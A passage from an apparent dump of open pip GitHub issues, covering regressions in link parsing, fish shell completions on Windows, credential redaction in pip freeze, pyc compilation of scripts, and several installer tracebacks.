> WARNING: Skipping /usr/lib64/python3.11/site-packages/mercurial-6.2-py3.11.egg-info due to invalid metadata entry 'name'
> Package    Version
> ---------- --------
> gpg        1.17.0
> libcomps   0.1.18
> pip        22.2.2
> rpm        4.18.0b1
> setuptools 62.6.0
> WARNING: Skipping /usr/lib64/python3.11/site-packages/mercurial-6.2-py3.11.egg-info due to invalid metadata entry 'name'
> WARNING: Skipping /usr/lib64/python3.11/site-packages/mercurial-6.2-py3.11.egg-info due to invalid metadata entry 'name'
> WARNING: Skipping /usr/lib64/python3.11/site-packages/mercurial-6.2-py3.11.egg-info due to invalid metadata entry 'name'
> ```

Can this be improved with better caching? Or switching to use ResourceWarning?
user: uranusjr
issue_11423: state: open
title: json parsing error when install package using `--find-links` option
body: ### Description

The related issue is described here: https://github.com/PaddlePaddle/Paddle/issues/44707 

In brief, user can install the package paddlepaddle via the following command using pip version 22.1.2, but failed in version 22.2.0.

`pip install paddlepaddle-gpu==2.3.2.post111 -f https://www.paddlepaddle.org.cn/whl/linux/mkl/avx/stable.html`

So, I think it's a regression issue.

The reported error is 

json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)

Because pip is trying to parse the returned html content as json format since pip 22.2.0.
I've found the related code is https://github.com/pypa/pip/blob/main/src/pip/_internal/index/collector.py#L327, which is introduced in #11158 .

Although we can update the page to return valid json strings, supporting this HTML format repository in pip's upgrade would help us a lot during our upgrade period.




### Expected behavior

pip can parse html format repository page.

### pip version

22.2.0

### Python version

3.9

### OS

All OS

### How to Reproduce

- works well
pip install --upgrade pip==22.1.2
pip install paddlepaddle-gpu==2.3.2.post111 -f https://www.paddlepaddle.org.cn/whl/linux/mkl/avx/stable.html

- failed
pip install --upgrade pip==22.2.0
pip install paddlepaddle-gpu==2.3.2.post111 -f https://www.paddlepaddle.org.cn/whl/linux/mkl/avx/stable.html


### Output

```shell
File "/opt/homebrew/lib/python3.9/site-packages/pip/_internal/index/package_finder.py", line 794, in process_project_url
    page_links = list(parse_links(index_response))
  File "/opt/homebrew/lib/python3.9/site-packages/pip/_internal/index/collector.py", line 313, in wrapper_wrapper
    return wrapper(CacheablePageContent(page))
  File "/opt/homebrew/lib/python3.9/site-packages/pip/_internal/index/collector.py", line 308, in wrapper
    return list(fn(cacheable_page.page))
  File "/opt/homebrew/lib/python3.9/site-packages/pip/_internal/index/collector.py", line 327, in parse_links
    data = json.loads(page.content)
  File "/opt/homebrew/Cellar/python@3.9/3.9.13_1/Frameworks/Python.framework/Versions/3.9/lib/python3.9/json/__init__.py", line 346, in loads
    return _default_decoder.decode(s)
  File "/opt/homebrew/Cellar/python@3.9/3.9.13_1/Frameworks/Python.framework/Versions/3.9/lib/python3.9/json/decoder.py", line 337, in decode
    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
  File "/opt/homebrew/Cellar/python@3.9/3.9.13_1/Frameworks/Python.framework/Versions/3.9/lib/python3.9/json/decoder.py", line 355, in raw_decode
    raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: jzhang533
labels: type: bug: A confirmed bug or unintended behavior
C: finder: PackageFinder and index related code
issue_11421: state: open
title: Broken fish completions on Windows
body: ### Description

Multiple issues preventing pip completions from working in Fish shell on Windows.

Fish ships with a file at `/usr/share/fish/completions/pip.fish` containing

```
pip completion --fish 2>/dev/null | source
```

1. Running `pip completion --fish` outputs

```fish
# pip fish completion start
function __fish_complete_pip
    set -lx COMP_WORDS (commandline -o) ""
    set -lx COMP_CWORD ( \
        math (contains -i -- (commandline -t) $COMP_WORDS)-1 \
    )
    set -lx PIP_AUTO_COMPLETE 1
    string split \  -- (eval $COMP_WORDS[1])
end
complete -fa "(__fish_complete_pip)" -c C:\Users\user\AppData\Local\Microsoft\WindowsApps\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\python.exe -m pip
# pip fish completion end
```

However the path to python is not valid in this context. It should be `/c/Users/user/AppData/Local/Microsoft/WindowsApps/PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0/python.exe` which can be translated with the command `cygpath -u 'C:\\Users\\user\\AppData\\Local\\Microsoft\\WindowsApps\\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\\python.exe'`

2. If I replace the contents of `completions/pip.fish` with the output from the command, but fix the path according to cygpath's output, I then get the error `pip complete: -m: unknown option`
3. If I quote the entire `python.exe -m pip` part (including path up to python.exe), I get no error but also no completions
4. If I replace that line with just `complete -fa "(__fish_complete_pip)" -c pip`, then completions appear to work correctly, except that:
5. `pip inst<tab>` turns into `pip install\r` - I'm not certain how the \r ends up there specifically; it may be that this should be fixed in fish itself
### Expected behavior

_No response_

### pip version

pip 22.2.1 from C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.10_3.10.1776.0_x64__qbz5n2kfra8p0\lib\site-packages\pip (python 3.10)

### Python version

Python 3.10.6

### OS

Windows 10 19044.1889

### How to Reproduce

1. Install MSYS2
2. Install fish shell
3. Install Python from MS Store
4. Open fish, type `pip <tab>`


### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: TyPR124
labels: type: bug: A confirmed bug or unintended behavior
state: awaiting PR: Feature discussed, PR is needed
C: autocomplete: Autocompletion in shells (pip completion)
issue_11413: state: open
title: Skip pycompile for custom scripts
body: <!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->
Closes #11406 
user: q0w
issue_11412: state: open
title: Redact the password from the URL in ``pip freeze`` output.
body: <!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->
Closes #11410 

user: q0w
issue_11410: state: open
title: pip freeze prints out username and password from URLs with them
body: ### Description

When I do `pip freeze`, it prints out the username and password that I included while cloning the local modules \ repositories

Similar to : https://github.com/pypa/pip/issues/4746

  


### Expected behavior

Passwords should'nt be shown

### pip version

21.1.1

### Python version

3.8.10

### OS

Centos7

### How to Reproduce

1. Clone a repository to local using username and password :
   `git clone -b my_branch https://$gusr:$gpwd@gitlab.com/my-repo.git`
2. Do a local install of the repo 
    `cd my-repo`
    `pip install -e .`
3. Do pip freeze

### Output

```shell
prints out my user credentials

-e git+https://gusr:gpwd@gitlab.com/my-repo#egg=repo_name
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: sbhattathiri
labels: type: bug: A confirmed bug or unintended behavior
C: vcs: pip's interaction with version control systems like git, svn and bzr
state: awaiting PR: Feature discussed, PR is needed
C: editable: Editable installations
issue_11406: state: open
title: pip compiles pyc files for installed scripts
body: ### Description

When pip installs a wheel with custom scripts that have a `.py` extension, it creates corresponding `.pyc` files. This pollutes the `bin` directory, and doesn't accomplish anything, since I don't think Python loads `.pyc` files for scripts.



### Expected behavior

Now granted, the wheel spec does say:

> Compile _any_ installed .py to .pyc. (Uninstallers should be smart enough to remove .pyc even if it is not mentioned in RECORD.)

(emphasis mine)

But I think common sense suggests that only `.py` files in the purelib and platlib directories should be compiled.


### pip version

22.2.2

### Python version

3.10.4

### OS

Ubuntu 22.04

### How to Reproduce

Install `docutils`, then look in the `bin` directory.

### Output

```shell
$ python3 -mvenv ./venv
$ ./venv/bin/pip install -U pip
[...]
$ ./venv/bin/pip install docutils
Collecting docutils
  Downloading docutils-0.19-py3-none-any.whl (570 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 570.5/570.5 kB 2.2 MB/s eta 0:00:00
Installing collected packages: docutils
Successfully installed docutils-0.19
$ ls ./venv/bin/__pycache__/
rst2html.cpython-310.pyc   rst2latex.cpython-310.pyc  rst2odt_prepstyles.cpython-310.pyc  rst2xetex.cpython-310.pyc
rst2html4.cpython-310.pyc  rst2man.cpython-310.pyc    rst2pseudoxml.cpython-310.pyc       rst2xml.cpython-310.pyc
rst2html5.cpython-310.pyc  rst2odt.cpython-310.pyc    rst2s5.cpython-310.pyc              rstpep2html.cpython-310.pyc
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: SpecLad
labels: state: awaiting PR: Feature discussed, PR is needed
type: feature request: Request for a new feature
issue_11398: state: open
title: Make new resolver process Requires-Python before other dependencies
body: Fix #11142. There are actually two issues; first is that the dist object in an ExplicitRequirement was being perpared too eagerly, the second is that Requires-Python should be returned before other dependencies so it is checked first.

This broke because resolvelib added a check to ensure a candidate’s dependencies are consistent. This new check made our lazy candidate preparation logic not lazy enough.
user: uranusjr
issue_11393: state: open
title: pip fails to install source packages when the working directory contains a pyproject.toml file
body: ### Description

When the current working directory contains a `pyproject.toml` file `pip` may fail to install (or build a wheel for) source packages. Setuptools tries to parse the `pyproject.toml` file from the working directory, but I'm not sure why. Because the configuration is for a different backend (and invalid for setuptools) setuptools raises an exception. The issue only seems to crop up when installing build dependencies to build wheels from sdists, but the build dependencies themselves can be wheels.

This worked correctly before pip 22.2. I have tracked the issue to 00e5adf2aa4223e37a191a454300d888af5687f5 (part of #11262). 



I can narrow the issue down to the command (which pip invokes internally):

```
/tmp/setuptools-issue/bin/python3 /tmp/setuptools-issue/site-packages/pip/__pip-runner__.py install --ignore-installed --no-user --prefix /tmp/foo --no-warn-script-location --no-binary :none: --only-binary :none: -i http://localhost:3141/root/staging -- 'setuptools >= 35.0.2'
```

`/tmp/setuptools-issue` is my virtualenv. The package being installed doesn't matter.

-----

The crux of the issue seems to be that pip calls `parse_config_files()` in [`_distutils.py`](https://github.com/pypa/pip/blob/main/src/pip/_internal/locations/_distutils.py#L57), which triggers setuptools to unnecessarily parse the `pyproject.toml` file.

I don't think this is an issue with setuptools, as it occurs regardless of the setuptools version, but if I uninstall setuptools or set `SETUPTOOLS_USE_DISTUTILS=stdlib` the issue goes away entirely, so there's some strange interaction between pip and setuptools' version of distutils going on.

### Expected behavior

Pip correctly installs the package, or builds the wheel, as requested.

### pip version

22.2.2

### Python version

PyPy 3.7

### OS

Ubuntu 20.04

### How to Reproduce

1. Create a `pyproject.toml` file with the following content:

```
[build-system]
requires = [ "whey",]
build-backend = "whey"

[project]
name = "demo"
version = "1.0.0"
dynamic = [ "requires-python", ]

[tool.whey]
python-versions = ["3.7", "3.8", ]
```

2. run `pip wheel msgpack==1.0.4`



I can't reproduce on CPython, only on PyPy


### Output

```shell
$ pip wheel msgpack==1.0.4 -v
Looking in indexes: http://localhost:3141/root/staging
Collecting msgpack==1.0.4
  Downloading http://localhost:3141/root/pypi/%2Bf/f5d/869c18f030202/msgpack-1.0.4.tar.gz (128 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 128.1/128.1 kB 131.2 MB/s eta 0:00:00
  Running command pip subprocess to install build dependencies
  Looking in indexes: http://localhost:3141/root/staging
  Collecting Cython~=0.29.30
    Downloading http://localhost:3141/root/pypi/%2Bf/eeb/475eb6f0ccf6c/Cython-0.29.32-py2.py3-none-any.whl (986 kB)
       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 986.3/986.3 kB 99.7 MB/s eta 0:00:00
  Collecting setuptools>=35.0.2
    Downloading http://localhost:3141/root/pypi/%2Bf/106/02cd0a6f5feab/setuptools-65.1.0-py3-none-any.whl (1.2 MB)
       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 1.2/1.2 MB 114.6 MB/s eta 0:00:00
  Installing collected packages: setuptools, Cython
  ERROR: Exception:
  Traceback (most recent call last):
    File "/tmp/setuptools-issue/site-packages/pip/_internal/cli/base_command.py", line 167, in exc_logging_wrapper
      status = run_func(*args)
    File "/tmp/setuptools-issue/site-packages/pip/_internal/cli/req_command.py", line 247, in wrapper
      return func(self, options, args)
    File "/tmp/setuptools-issue/site-packages/pip/_internal/commands/install.py", line 470, in run
      pycompile=options.compile,
    File "/tmp/setuptools-issue/site-packages/pip/_internal/req/__init__.py", line 81, in install_given_reqs
      pycompile=pycompile,
    File "/tmp/setuptools-issue/site-packages/pip/_internal/req/req_install.py", line 758, in install
      prefix=prefix,
    File "/tmp/setuptools-issue/site-packages/pip/_internal/locations/__init__.py", line 256, in get_scheme
      prefix=prefix,
    File "/tmp/setuptools-issue/site-packages/pip/_internal/locations/_distutils.py", line 141, in get_scheme
      scheme = distutils_scheme(dist_name, user, home, root, isolated, prefix)
    File "/tmp/setuptools-issue/site-packages/pip/_internal/locations/_distutils.py", line 57, in distutils_scheme
      d.parse_config_files()
    File "/tmp/setuptools-issue/site-packages/_virtualenv.py", line 21, in parse_config_files
      result = old_parse_config_files(self, *args, **kwargs)
    File "/tmp/setuptools-issue/site-packages/setuptools/dist.py", line 868, in parse_config_files
      pyprojecttoml.apply_configuration(self, filename, ignore_option_errors)
    File "/tmp/setuptools-issue/site-packages/setuptools/config/pyprojecttoml.py", line 58, in apply_configuration
      config = read_configuration(filepath, True, ignore_option_errors, dist)
    File "/tmp/setuptools-issue/site-packages/setuptools/config/pyprojecttoml.py", line 136, in read_configuration
      return expand_configuration(asdict, root_dir, ignore_option_errors, dist)
    File "/tmp/setuptools-issue/site-packages/setuptools/config/pyprojecttoml.py", line 191, in expand_configuration
      return _ConfigExpander(config, root_dir, ignore_option_errors, dist).expand()
    File "/tmp/setuptools-issue/site-packages/setuptools/config/pyprojecttoml.py", line 238, in expand
      self._expand_all_dynamic(dist, package_dir)
    File "/tmp/setuptools-issue/site-packages/setuptools/config/pyprojecttoml.py", line 277, in _expand_all_dynamic
      for field in self.dynamic
    File "/tmp/setuptools-issue/site-packages/setuptools/config/pyprojecttoml.py", line 278, in <dictcomp>
      if field not in special
    File "/tmp/setuptools-issue/site-packages/setuptools/config/pyprojecttoml.py", line 322, in _obtain
      self._ensure_previously_set(dist, field)
    File "/tmp/setuptools-issue/site-packages/setuptools/config/pyprojecttoml.py", line 301, in _ensure_previously_set
      raise OptionError(msg)
  distutils.errors.DistutilsOptionError: No configuration found for dynamic 'requires-python'.
  Some dynamic fields need to be specified via `tool.setuptools.dynamic`
  others must be specified via the equivalent attribute in `setup.py`.
  error: subprocess-exited-with-error
  
  × pip subprocess to install build dependencies did not run successfully.
  │ exit code: 2
  ╰─> See above for output.
  
  note: This error originates from a subprocess, and is likely not a problem with pip.
  full command: /tmp/setuptools-issue/bin/python3 /tmp/setuptools-issue/site-packages/pip/__pip-runner__.py install --ignore-installed --no-user --prefix /tmp/pip-build-env-k8z8j5ng/overlay --no-warn-script-location --no-binary :none: --only-binary :none: -i http://localhost:3141/root/staging -- 'Cython~=0.29.30' 'setuptools >= 35.0.2'
  cwd: [inherit]
  Installing build dependencies ... error
error: subprocess-exited-with-error

× pip subprocess to install build dependencies did not run successfully.
│ exit code: 2
╰─> See above for output.

note: This error originates from a subprocess, and is likely not a problem with pip.
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: domdfcoding
labels: type: bug: A confirmed bug or unintended behavior
project: setuptools: Related to setuptools
state: needs eyes: Needs a maintainer/triager to take a closer look
issue_11390: state: open
title: EOFError when prompting for index username and password
body: ### Description

When installing from a private, password-protected (authenticating with HTTP BasicAuth) package index server, the subprocess to install build dependencies fails with an `EOFError`.

Everything works fine when keyring is installed (as I have the private index's password in my keyring).

When using Pip 22.0.4, it seems a ZipApp was used, as the traceback showed the used pip was located in `/tmp/pip-standalone-pip-qari24rb/__env_pip__.zip/`. The final two lines of the output (entering username and password) didn't occur.

Possibly related:
* #2920
* #10665
* #10806
* #11020

### Expected behavior

pip install all packages successfully

### pip version

22.2.2 (also tested with 22.0.2)

### Python version

Python 3.10.4 (distro-managed)

### OS

Ubuntu 22.04.1

### How to Reproduce

1. Create a new virtual environment with standard-library `venv`
2. Install packages from private index (either as main or extra index)

### Output

<details>
<summary><strong>click to expand</strong></summary>

```
$ pip install -e . --extra-index-url https://pypi.example.com/
Looking in indexes: https://pypi.org/simple, https://pypi.example.com/
Obtaining file:///home/me/src/my-package
  Installing build dependencies ... error
  error: subprocess-exited-with-error
  
  × pip subprocess to install build dependencies did not run successfully.
  │ exit code: 2
  ╰─> [59 lines of output]
      Looking in indexes: https://pypi.org/simple, https://pypi.example.com/
      User for pypi.example.com: ERROR: Exception:
      Traceback (most recent call last):
        File "/home/me/src/my-package/.venv/lib/python3.10/site-packages/pip/_internal/cli/base_command.py", line 167, in exc_logging_wrapper
          status = run_func(*args)
        File "/home/me/src/my-package/.venv/lib/python3.10/site-packages/pip/_internal/cli/req_command.py", line 247, in wrapper
          return func(self, options, args)
        File "/home/me/src/my-package/.venv/lib/python3.10/site-packages/pip/_internal/commands/install.py", line 369, in run
          requirement_set = resolver.resolve(
        File "/home/me/src/my-package/.venv/lib/python3.10/site-packages/pip/_internal/resolution/resolvelib/resolver.py", line 92, in resolve
          result = self._result = resolver.resolve(
        File "/home/me/src/my-package/.venv/lib/python3.10/site-packages/pip/_vendor/resolvelib/resolvers.py", line 481, in resolve
          state = resolution.resolve(requirements, max_rounds=max_rounds)
        File "/home/me/src/my-package/.venv/lib/python3.10/site-packages/pip/_vendor/resolvelib/resolvers.py", line 348, in resolve
          self._add_to_criteria(self.state.criteria, r, parent=None)
        File "/home/me/src/my-package/.venv/lib/python3.10/site-packages/pip/_vendor/resolvelib/resolvers.py", line 172, in _add_to_criteria
          if not criterion.candidates:
        File "/home/me/src/my-package/.venv/lib/python3.10/site-packages/pip/_vendor/resolvelib/structs.py", line 151, in __bool__
          return bool(self._sequence)
        File "/home/me/src/my-package/.venv/lib/python3.10/site-packages/pip/_internal/resolution/resolvelib/found_candidates.py", line 155, in __bool__
          return any(self)
        File "/home/me/src/my-package/.venv/lib/python3.10/site-packages/pip/_internal/resolution/resolvelib/found_candidates.py", line 143, in <genexpr>
          return (c for c in iterator if id(c) not in self._incompatible_ids)
        File "/home/me/src/my-package/.venv/lib/python3.10/site-packages/pip/_internal/resolution/resolvelib/found_candidates.py", line 44, in _iter_built
          for version, func in infos:
        File "/home/me/src/my-package/.venv/lib/python3.10/site-packages/pip/_internal/resolution/resolvelib/factory.py", line 279, in iter_index_candidate_infos
          result = self._finder.find_best_candidate(
        File "/home/me/src/my-package/.venv/lib/python3.10/site-packages/pip/_internal/index/package_finder.py", line 889, in find_best_candidate
          candidates = self.find_all_candidates(project_name)
        File "/home/me/src/my-package/.venv/lib/python3.10/site-packages/pip/_internal/index/package_finder.py", line 830, in find_all_candidates
          page_candidates = list(page_candidates_it)
        File "/home/me/src/my-package/.venv/lib/python3.10/site-packages/pip/_internal/index/sources.py", line 134, in page_candidates
          yield from self._candidates_from_page(self._link)
        File "/home/me/src/my-package/.venv/lib/python3.10/site-packages/pip/_internal/index/package_finder.py", line 790, in process_project_url
          index_response = self._link_collector.fetch_response(project_url)
        File "/home/me/src/my-package/.venv/lib/python3.10/site-packages/pip/_internal/index/collector.py", line 577, in fetch_response
          return _get_index_content(location, session=self.session)
        File "/home/me/src/my-package/.venv/lib/python3.10/site-packages/pip/_internal/index/collector.py", line 481, in _get_index_content
          resp = _get_simple_response(url, session=session)
        File "/home/me/src/my-package/.venv/lib/python3.10/site-packages/pip/_internal/index/collector.py", line 138, in _get_simple_response
          resp = session.get(
        File "/home/me/src/my-package/.venv/lib/python3.10/site-packages/pip/_vendor/requests/sessions.py", line 600, in get
          return self.request("GET", url, **kwargs)
        File "/home/me/src/my-package/.venv/lib/python3.10/site-packages/pip/_internal/network/session.py", line 518, in request
          return super().request(method, url, *args, **kwargs)
        File "/home/me/src/my-package/.venv/lib/python3.10/site-packages/pip/_vendor/requests/sessions.py", line 587, in request
          resp = self.send(prep, **send_kwargs)
        File "/home/me/src/my-package/.venv/lib/python3.10/site-packages/pip/_vendor/requests/sessions.py", line 708, in send
          r = dispatch_hook("response", hooks, r, **kwargs)
        File "/home/me/src/my-package/.venv/lib/python3.10/site-packages/pip/_vendor/requests/hooks.py", line 30, in dispatch_hook
          _hook_data = hook(hook_data, **kwargs)
        File "/home/me/src/my-package/.venv/lib/python3.10/site-packages/pip/_internal/network/auth.py", line 270, in handle_401
          username, password, save = self._prompt_for_password(parsed.netloc)
        File "/home/me/src/my-package/.venv/lib/python3.10/site-packages/pip/_internal/network/auth.py", line 233, in _prompt_for_password
          username = ask_input(f"User for {netloc}: ")
        File "/home/me/src/my-package/.venv/lib/python3.10/site-packages/pip/_internal/utils/misc.py", line 204, in ask_input
          return input(message)
      EOFError: EOF when reading a line
      User for pypi.example.com: WARNING: There was an error checking the latest version of pip.
      [end of output]
  
  note: This error originates from a subprocess, and is likely not a problem with pip.
error: subprocess-exited-with-error

× pip subprocess to install build dependencies did not run successfully.
│ exit code: 2
╰─> See above for output.

note: This error originates from a subprocess, and is likely not a problem with pip.
User for pypi.example.com: SPAM-USER
Password:
```

Note: final two lines are after pip had already failed
</details>

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: EpicWink
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11387: state: open
title: PIP Errors installing package when it's not in /usr/bin/php
body: ### Description

Installing python3.7 using apt on Debian 10/11.  We also install other python3.7 versions using alt installs.  Doing a pip3 install -U simplejson spits out an error that /usr/bin/pip doesn't exist.  This is accurate, since it's installed in /usr/local/bin/pip.  shutil.which reflects the correct path

### Expected behavior

_No response_

### pip version

21

### Python version

3.7

### OS

Debian 10

### How to Reproduce

Install apt-get install python3.7-pip
Alt install python3.8+ to /usr/local/bin/
Upgrade pip to 22.2.1 (python3.7 -m pip install -U pip)
Install a package (python3.7 -m pip install sauna)
The output below is then shown

### Output

```shell
--- Logging error ---
Traceback (most recent call last):
  File "/usr/local/lib/python3.7/dist-packages/pip/_internal/utils/logging.py", line 177, in emit
    self.console.print(renderable, overflow="ignore", crop=False, style=style)
  File "/usr/local/lib/python3.7/dist-packages/pip/_vendor/rich/console.py", line 1673, in print
    extend(render(renderable, render_options))
  File "/usr/local/lib/python3.7/dist-packages/pip/_vendor/rich/console.py", line 1305, in render
    for render_output in iter_render:
  File "/usr/local/lib/python3.7/dist-packages/pip/_internal/utils/logging.py", line 134, in __rich_console__
    for line in lines:
  File "/usr/local/lib/python3.7/dist-packages/pip/_vendor/rich/segment.py", line 249, in split_lines
    for segment in segments:
  File "/usr/local/lib/python3.7/dist-packages/pip/_vendor/rich/console.py", line 1283, in render
    renderable = rich_cast(renderable)
  File "/usr/local/lib/python3.7/dist-packages/pip/_vendor/rich/protocol.py", line 36, in rich_cast
    renderable = cast_method()
  File "/usr/local/lib/python3.7/dist-packages/pip/_internal/self_outdated_check.py", line 130, in __rich__
    pip_cmd = get_best_invocation_for_this_pip()
  File "/usr/local/lib/python3.7/dist-packages/pip/_internal/utils/entrypoints.py", line 60, in get_best_invocation_for_this_pip
    os.path.join(binary_prefix, exe_name),
  File "/usr/lib/python3.7/genericpath.py", line 97, in samefile
    s2 = os.stat(f2)
FileNotFoundError: [Errno 2] No such file or directory: '/usr/bin/pip'
Call stack:
  File "/usr/lib/python3.7/runpy.py", line 193, in _run_module_as_main
    "__main__", mod_spec)
  File "/usr/lib/python3.7/runpy.py", line 85, in _run_code
    exec(code, run_globals)
  File "/usr/local/lib/python3.7/dist-packages/pip/__main__.py", line 31, in <module>
    sys.exit(_main())
  File "/usr/local/lib/python3.7/dist-packages/pip/_internal/cli/main.py", line 70, in main
    return command.main(cmd_args)
  File "/usr/local/lib/python3.7/dist-packages/pip/_internal/cli/base_command.py", line 101, in main
    return self._main(args)
  File "/usr/local/lib/python3.7/dist-packages/pip/_internal/cli/base_command.py", line 223, in _main
    self.handle_pip_version_check(options)
  File "/usr/local/lib/python3.7/dist-packages/pip/_internal/cli/req_command.py", line 190, in handle_pip_version_check
    pip_self_version_check(session, options)
  File "/usr/local/lib/python3.7/dist-packages/pip/_internal/self_outdated_check.py", line 236, in pip_self_version_check
    logger.warning("[present-rich] %s", upgrade_prompt)
  File "/usr/lib/python3.7/logging/__init__.py", line 1395, in warning
    self._log(WARNING, msg, args, **kwargs)
  File "/usr/lib/python3.7/logging/__init__.py", line 1519, in _log
    self.handle(record)
  File "/usr/lib/python3.7/logging/__init__.py", line 1529, in handle
    self.callHandlers(record)
  File "/usr/lib/python3.7/logging/__init__.py", line 1591, in callHandlers
    hdlr.handle(record)
  File "/usr/lib/python3.7/logging/__init__.py", line 905, in handle
    self.emit(record)
  File "/usr/local/lib/python3.7/dist-packages/pip/_internal/utils/logging.py", line 179, in emit
    self.handleError(record)
Message: '[present-rich] %s'
Arguments: (UpgradePrompt(old='22.2.1', new='22.2.2'),)
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: josev814
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11366: state: open
title: Rationalise and improve the `--target`, `--prefix` and `--root` options
body: ### What's the problem this feature will solve?

At present, pip allows the user to select alternative install locations using `--target`, `--prefix` and `--root`. However, these are install-only options, and so do not work for other pip commands, like `list` or `uninstall`.

### Describe the solution you'd like

Make the "target install scheme" options global, so that they apply to all commands.

In particular, be able to manage directories populated using `pip install --target` the same as a site-packages directory (with support for upgrades, uninstalls, list and list --outdated, etc).



### Alternative Solutions

Stick with what we have. Continue requiring users to delete and recreate directories populated via `--target` whenever they want to change things.

### Additional context

In terms of implementation, experiments suggest that this can be achieved just by modifying `get_scheme` in `pip._internal.locations`, and `get_(default)_environment` in `pip._internal.metadata`. In practice, the bulk of the work will be removing the *existing* code in favour of the new approach.

The proposed new approach will not work with the "legacy" `setup.py install` mechanism. We will need to decide whether to continue to support the existing options in that case. If we do, care will be needed to leave "just enough" of the existing code to support that route. The alternative would be to desupport using these options with the legacy install route, either by failing with an error suggesting use of `--use-pep517`, or by simply switching that option on automatically. Or we could delay implementing this feature until the legacy install route is finally removed 🙂

A feasible alternative/transition method would be to add one or more *new* global options that replicated the behaviour of the existing options using the new approach. The old options could then be removed at a later date. The big issues here are (1) thinking of good names for the "new" option(s), and (2) replicating all of the existing tests to check the new approach as well as the old one.

One further point to consider is that `--target` currently appears to install into a temporary directory and move the files into the target location once the install is complete. It's not clear why this is done, and I could find no documentation that either explained or guaranteed this behaviour. Would it be acceptable to remove that as part of the reorganisation? (My best guess is that it's to avoid a failed install damaging the target location - if we make `--target` do a "first class" install, with upgrade and uninstall support, our existing protections against breaking environments should be a superior replacement for the "temporary location and copy" approach).

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: pfmoore
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_11361: state: open
title: KeyError: 'No metadata except PKG-INFO is available'
body: ### Description


I made an error when executing the PIP install command：

```
root@ubuntu:~# pip install sympy
Looking in indexes: https://pypi.tuna.tsinghua.edu.cn/simple, https://pypi.ngc.nvidia.com
Collecting sympy
  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/d0/04/66be21ceb305c66a4b326b0ae44cc4f027a43bc08cac204b48fb45bb3653/sympy-1.10.1-py3-none-any.whl (6.4 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 6.4/6.4 MB 2.1 MB/s eta 0:00:00
Requirement already satisfied: mpmath>=0.19 in /usr/local/python3.7.5/lib/python3.7/site-packages (from sympy) (1.2.1)
ERROR: Error while checking for conflicts. Please file an issue on pip's issue tracker: https://github.com/pypa/pip/issues/new
Traceback (most recent call last):
  File "/usr/local/python3.7.5/lib/python3.7/site-packages/pip/_vendor/pkg_resources/__init__.py", line 3021, in _dep_map
    return self.__dep_map
  File "/usr/local/python3.7.5/lib/python3.7/site-packages/pip/_vendor/pkg_resources/__init__.py", line 2815, in __getattr__
    raise AttributeError(attr)
AttributeError: _DistInfoDistribution__dep_map

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/python3.7.5/lib/python3.7/site-packages/pip/_vendor/pkg_resources/__init__.py", line 3012, in _parsed_pkg_info
    return self._pkg_info
  File "/usr/local/python3.7.5/lib/python3.7/site-packages/pip/_vendor/pkg_resources/__init__.py", line 2815, in __getattr__
    raise AttributeError(attr)
AttributeError: _pkg_info

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/python3.7.5/lib/python3.7/site-packages/pip/_internal/commands/install.py", line 585, in _determine_conflicts
    return check_install_conflicts(to_install)
  File "/usr/local/python3.7.5/lib/python3.7/site-packages/pip/_internal/operations/check.py", line 101, in check_install_conflicts
    package_set, _ = create_package_set_from_installed()
  File "/usr/local/python3.7.5/lib/python3.7/site-packages/pip/_internal/operations/check.py", line 42, in create_package_set_from_installed
    dependencies = list(dist.iter_dependencies())
  File "/usr/local/python3.7.5/lib/python3.7/site-packages/pip/_internal/metadata/pkg_resources.py", line 199, in iter_dependencies
    return self._dist.requires(extras)
  File "/usr/local/python3.7.5/lib/python3.7/site-packages/pip/_vendor/pkg_resources/__init__.py", line 2736, in requires
    dm = self._dep_map
  File "/usr/local/python3.7.5/lib/python3.7/site-packages/pip/_vendor/pkg_resources/__init__.py", line 3023, in _dep_map
    self.__dep_map = self._compute_dependencies()
